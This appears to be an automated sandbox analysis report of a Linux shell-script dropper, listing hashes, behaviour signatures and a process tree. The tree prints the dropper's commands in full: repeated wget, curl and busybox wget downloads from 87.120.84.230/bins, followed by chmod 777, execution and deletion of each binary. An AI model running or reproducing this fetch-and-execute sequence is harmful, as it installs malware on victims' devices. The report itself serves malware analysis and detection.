Analysis

  • max time kernel
    19s
  • max time network
    20s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25/10/2024, 01:33

General

  • Target

    506d219f79f14db0465b4833a623725c830e0a6630fe266a075de7af41011264.sh

  • Size

    10KB

  • MD5

    766dedc13963c6b6ee0d4904bf619106

  • SHA1

    3b93a1c4a9df4d54c75ef3b445ca55244506866c

  • SHA256

    506d219f79f14db0465b4833a623725c830e0a6630fe266a075de7af41011264

  • SHA512

    708c383986fa3596893356ad7ced7c503f4bdab762a319ff71291af63bf23e29ce72ae833bc4f47293c9031f7b78bc55a6a61f9d67585f39fb2412103eb6875b

  • SSDEEP

    192:jbYbCQCoCnCuCKCzIkq3VdEZ1KVdEZ1PCQCoCnCuCKCEt:/YbCQCoCnCuCKCzIkqWCQCoCnCuCKCQ

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/506d219f79f14db0465b4833a623725c830e0a6630fe266a075de7af41011264.sh
    /tmp/506d219f79f14db0465b4833a623725c830e0a6630fe266a075de7af41011264.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:653
        • /usr/bin/wget
          wget http://87.120.84.230/bins/UCTHLRDDehvmNDeQqd2FH0jqUohDghvHWW
          2⤵
            PID:660
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/UCTHLRDDehvmNDeQqd2FH0jqUohDghvHWW
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:673
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/UCTHLRDDehvmNDeQqd2FH0jqUohDghvHWW
            2⤵
              PID:680
            • /bin/chmod
              chmod 777 UCTHLRDDehvmNDeQqd2FH0jqUohDghvHWW
              2⤵
              • File and Directory Permissions Modification
              PID:683
            • /tmp/UCTHLRDDehvmNDeQqd2FH0jqUohDghvHWW
              ./UCTHLRDDehvmNDeQqd2FH0jqUohDghvHWW
              2⤵
              • Executes dropped EXE
              PID:684
            • /bin/rm
              rm UCTHLRDDehvmNDeQqd2FH0jqUohDghvHWW
              2⤵
                PID:685
              • /usr/bin/wget
                wget http://87.120.84.230/bins/SXxs5GFac5y22CZnJWmqEr3DmeX45PCayc
                2⤵
                  PID:686
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/SXxs5GFac5y22CZnJWmqEr3DmeX45PCayc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:687
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/SXxs5GFac5y22CZnJWmqEr3DmeX45PCayc
                  2⤵
                    PID:688
                  • /bin/chmod
                    chmod 777 SXxs5GFac5y22CZnJWmqEr3DmeX45PCayc
                    2⤵
                    • File and Directory Permissions Modification
                    PID:700
                  • /tmp/SXxs5GFac5y22CZnJWmqEr3DmeX45PCayc
                    ./SXxs5GFac5y22CZnJWmqEr3DmeX45PCayc
                    2⤵
                    • Executes dropped EXE
                    PID:702
                  • /bin/rm
                    rm SXxs5GFac5y22CZnJWmqEr3DmeX45PCayc
                    2⤵
                      PID:704
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/LPaC2eJSRhuKBsEebLyyc29CdaQjGdCXFt
                      2⤵
                        PID:705
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/LPaC2eJSRhuKBsEebLyyc29CdaQjGdCXFt
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:712
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/LPaC2eJSRhuKBsEebLyyc29CdaQjGdCXFt
                        2⤵
                          PID:719
                        • /bin/chmod
                          chmod 777 LPaC2eJSRhuKBsEebLyyc29CdaQjGdCXFt
                          2⤵
                          • File and Directory Permissions Modification
                          PID:739
                        • /tmp/LPaC2eJSRhuKBsEebLyyc29CdaQjGdCXFt
                          ./LPaC2eJSRhuKBsEebLyyc29CdaQjGdCXFt
                          2⤵
                          • Executes dropped EXE
                          PID:740
                        • /bin/rm
                          rm LPaC2eJSRhuKBsEebLyyc29CdaQjGdCXFt
                          2⤵
                            PID:741
                          • /usr/bin/wget
                            wget http://87.120.84.230/bins/LD7aFIZkwpYfOzQhLZQITHyUYxNh7m2517
                            2⤵
                              PID:742
                            • /usr/bin/curl
                              curl -O http://87.120.84.230/bins/LD7aFIZkwpYfOzQhLZQITHyUYxNh7m2517
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:744
                            • /bin/busybox
                              /bin/busybox wget http://87.120.84.230/bins/LD7aFIZkwpYfOzQhLZQITHyUYxNh7m2517
                              2⤵
                                PID:745
                              • /bin/chmod
                                chmod 777 LD7aFIZkwpYfOzQhLZQITHyUYxNh7m2517
                                2⤵
                                • File and Directory Permissions Modification
                                PID:748
                              • /tmp/LD7aFIZkwpYfOzQhLZQITHyUYxNh7m2517
                                ./LD7aFIZkwpYfOzQhLZQITHyUYxNh7m2517
                                2⤵
                                • Executes dropped EXE
                                PID:749
                              • /bin/rm
                                rm LD7aFIZkwpYfOzQhLZQITHyUYxNh7m2517
                                2⤵
                                  PID:750
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/2rOBjn4n3qVx8hT8I1rUyTOfwjnF6IzSYT
                                  2⤵
                                    PID:752
                                  • /usr/bin/curl
                                    curl -O http://87.120.84.230/bins/2rOBjn4n3qVx8hT8I1rUyTOfwjnF6IzSYT
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:757
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.84.230/bins/2rOBjn4n3qVx8hT8I1rUyTOfwjnF6IzSYT
                                    2⤵
                                      PID:763
                                    • /bin/chmod
                                      chmod 777 2rOBjn4n3qVx8hT8I1rUyTOfwjnF6IzSYT
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:770
                                    • /tmp/2rOBjn4n3qVx8hT8I1rUyTOfwjnF6IzSYT
                                      ./2rOBjn4n3qVx8hT8I1rUyTOfwjnF6IzSYT
                                      2⤵
                                      • Executes dropped EXE
                                      PID:771
                                    • /bin/rm
                                      rm 2rOBjn4n3qVx8hT8I1rUyTOfwjnF6IzSYT
                                      2⤵
                                        PID:773
                                      • /usr/bin/wget
                                        wget http://87.120.84.230/bins/iA4eNeQirh7GZpHp5Vog6PJMrzdJt71Sal
                                        2⤵
                                          PID:774
                                        • /usr/bin/curl
                                          curl -O http://87.120.84.230/bins/iA4eNeQirh7GZpHp5Vog6PJMrzdJt71Sal
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:781
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.84.230/bins/iA4eNeQirh7GZpHp5Vog6PJMrzdJt71Sal
                                          2⤵
                                            PID:787
                                          • /bin/chmod
                                            chmod 777 iA4eNeQirh7GZpHp5Vog6PJMrzdJt71Sal
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:788
                                          • /tmp/iA4eNeQirh7GZpHp5Vog6PJMrzdJt71Sal
                                            ./iA4eNeQirh7GZpHp5Vog6PJMrzdJt71Sal
                                            2⤵
                                            • Executes dropped EXE
                                            PID:789
                                          • /bin/rm
                                            rm iA4eNeQirh7GZpHp5Vog6PJMrzdJt71Sal
                                            2⤵
                                              PID:790
                                            • /usr/bin/wget
                                              wget http://87.120.84.230/bins/TZXKJ5jLshQIvtt7BTjJP8ZQwqfoF4Bb62
                                              2⤵
                                                PID:791
                                              • /usr/bin/curl
                                                curl -O http://87.120.84.230/bins/TZXKJ5jLshQIvtt7BTjJP8ZQwqfoF4Bb62
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:792
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.84.230/bins/TZXKJ5jLshQIvtt7BTjJP8ZQwqfoF4Bb62
                                                2⤵
                                                  PID:793
                                                • /bin/chmod
                                                  chmod 777 TZXKJ5jLshQIvtt7BTjJP8ZQwqfoF4Bb62
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:794
                                                • /tmp/TZXKJ5jLshQIvtt7BTjJP8ZQwqfoF4Bb62
                                                  ./TZXKJ5jLshQIvtt7BTjJP8ZQwqfoF4Bb62
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:795
                                                • /bin/rm
                                                  rm TZXKJ5jLshQIvtt7BTjJP8ZQwqfoF4Bb62
                                                  2⤵
                                                    PID:796
                                                  • /usr/bin/wget
                                                    wget http://87.120.84.230/bins/YtfqXTLPZogR4uWDjORFeCOUe06n5LGEC1
                                                    2⤵
                                                      PID:797
                                                    • /usr/bin/curl
                                                      curl -O http://87.120.84.230/bins/YtfqXTLPZogR4uWDjORFeCOUe06n5LGEC1
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:798
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.84.230/bins/YtfqXTLPZogR4uWDjORFeCOUe06n5LGEC1
                                                      2⤵
                                                        PID:799
                                                      • /bin/chmod
                                                        chmod 777 YtfqXTLPZogR4uWDjORFeCOUe06n5LGEC1
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:800
                                                      • /tmp/YtfqXTLPZogR4uWDjORFeCOUe06n5LGEC1
                                                        ./YtfqXTLPZogR4uWDjORFeCOUe06n5LGEC1
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:801
                                                      • /bin/rm
                                                        rm YtfqXTLPZogR4uWDjORFeCOUe06n5LGEC1
                                                        2⤵
                                                          PID:802
                                                        • /usr/bin/wget
                                                          wget http://87.120.84.230/bins/jcwbKsx7INVOgy5Cypj6cJaEClnzoCxQQV
                                                          2⤵
                                                            PID:803
                                                          • /usr/bin/curl
                                                            curl -O http://87.120.84.230/bins/jcwbKsx7INVOgy5Cypj6cJaEClnzoCxQQV
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:804
                                                          • /bin/busybox
                                                            /bin/busybox wget http://87.120.84.230/bins/jcwbKsx7INVOgy5Cypj6cJaEClnzoCxQQV
                                                            2⤵
                                                              PID:805
                                                            • /bin/chmod
                                                              chmod 777 jcwbKsx7INVOgy5Cypj6cJaEClnzoCxQQV
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:806
                                                            • /tmp/jcwbKsx7INVOgy5Cypj6cJaEClnzoCxQQV
                                                              ./jcwbKsx7INVOgy5Cypj6cJaEClnzoCxQQV
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:807
                                                            • /bin/rm
                                                              rm jcwbKsx7INVOgy5Cypj6cJaEClnzoCxQQV
                                                              2⤵
                                                                PID:808
                                                              • /usr/bin/wget
                                                                wget http://87.120.84.230/bins/51UHlyi6CpBPnsKOe0Ak7QO10WH752QyFB
                                                                2⤵
                                                                  PID:809
                                                                • /usr/bin/curl
                                                                  curl -O http://87.120.84.230/bins/51UHlyi6CpBPnsKOe0Ak7QO10WH752QyFB
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:810
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://87.120.84.230/bins/51UHlyi6CpBPnsKOe0Ak7QO10WH752QyFB
                                                                  2⤵
                                                                    PID:811
                                                                  • /bin/chmod
                                                                    chmod 777 51UHlyi6CpBPnsKOe0Ak7QO10WH752QyFB
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:812
                                                                  • /tmp/51UHlyi6CpBPnsKOe0Ak7QO10WH752QyFB
                                                                    ./51UHlyi6CpBPnsKOe0Ak7QO10WH752QyFB
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:813
                                                                  • /bin/rm
                                                                    rm 51UHlyi6CpBPnsKOe0Ak7QO10WH752QyFB
                                                                    2⤵
                                                                      PID:815
                                                                    • /usr/bin/wget
                                                                      wget http://87.120.84.230/bins/6fIuSLaEdhrpZduQ3q8VWdFNf0YZBoHGcF
                                                                      2⤵
                                                                        PID:816
                                                                      • /usr/bin/curl
                                                                        curl -O http://87.120.84.230/bins/6fIuSLaEdhrpZduQ3q8VWdFNf0YZBoHGcF
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:818
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://87.120.84.230/bins/6fIuSLaEdhrpZduQ3q8VWdFNf0YZBoHGcF
                                                                        2⤵
                                                                          PID:819
                                                                        • /bin/chmod
                                                                          chmod 777 6fIuSLaEdhrpZduQ3q8VWdFNf0YZBoHGcF
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:820
                                                                        • /tmp/6fIuSLaEdhrpZduQ3q8VWdFNf0YZBoHGcF
                                                                          ./6fIuSLaEdhrpZduQ3q8VWdFNf0YZBoHGcF
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:821
                                                                        • /bin/rm
                                                                          rm 6fIuSLaEdhrpZduQ3q8VWdFNf0YZBoHGcF
                                                                          2⤵
                                                                            PID:822
                                                                          • /usr/bin/wget
                                                                            wget http://87.120.84.230/bins/LEN2oHcPC1EXOmtdw8ObBv76IXcaGyW21U
                                                                            2⤵
                                                                              PID:823
                                                                            • /usr/bin/curl
                                                                              curl -O http://87.120.84.230/bins/LEN2oHcPC1EXOmtdw8ObBv76IXcaGyW21U
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:824
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://87.120.84.230/bins/LEN2oHcPC1EXOmtdw8ObBv76IXcaGyW21U
                                                                              2⤵
                                                                                PID:825
                                                                              • /bin/chmod
                                                                                chmod 777 LEN2oHcPC1EXOmtdw8ObBv76IXcaGyW21U
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:826
                                                                              • /tmp/LEN2oHcPC1EXOmtdw8ObBv76IXcaGyW21U
                                                                                ./LEN2oHcPC1EXOmtdw8ObBv76IXcaGyW21U
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:827
                                                                              • /bin/rm
                                                                                rm LEN2oHcPC1EXOmtdw8ObBv76IXcaGyW21U
                                                                                2⤵
                                                                                  PID:828
                                                                                • /usr/bin/wget
                                                                                  wget http://87.120.84.230/bins/sqyCJQVXqgnToECHZpDmPrSMRFMB7mDMES
                                                                                  2⤵
                                                                                    PID:829
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://87.120.84.230/bins/sqyCJQVXqgnToECHZpDmPrSMRFMB7mDMES
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:830
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://87.120.84.230/bins/sqyCJQVXqgnToECHZpDmPrSMRFMB7mDMES
                                                                                    2⤵
                                                                                      PID:831
                                                                                    • /bin/chmod
                                                                                      chmod 777 sqyCJQVXqgnToECHZpDmPrSMRFMB7mDMES
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:832
                                                                                    • /tmp/sqyCJQVXqgnToECHZpDmPrSMRFMB7mDMES
                                                                                      ./sqyCJQVXqgnToECHZpDmPrSMRFMB7mDMES
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:833
                                                                                    • /bin/rm
                                                                                      rm sqyCJQVXqgnToECHZpDmPrSMRFMB7mDMES
                                                                                      2⤵
                                                                                        PID:834
                                                                                      • /usr/bin/wget
                                                                                        wget http://87.120.84.230/bins/KeW92ny8kVqLl4usfbwmgKxREiCtAc5GHB
                                                                                        2⤵
                                                                                          PID:835

                                                                                      Network

                                                                                      MITRE ATT&CK Enterprise v15

                                                                                      Replay Monitor

                                                                                      Loading Replay Monitor...

                                                                                      Downloads

                                                                                      • /tmp/UCTHLRDDehvmNDeQqd2FH0jqUohDghvHWW

                                                                                        Filesize

                                                                                        153B

                                                                                        MD5

                                                                                        998368d7c95ea4293237f2320546e440

                                                                                        SHA1

                                                                                        30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                                                        SHA256

                                                                                        533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                                                        SHA512

                                                                                        648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97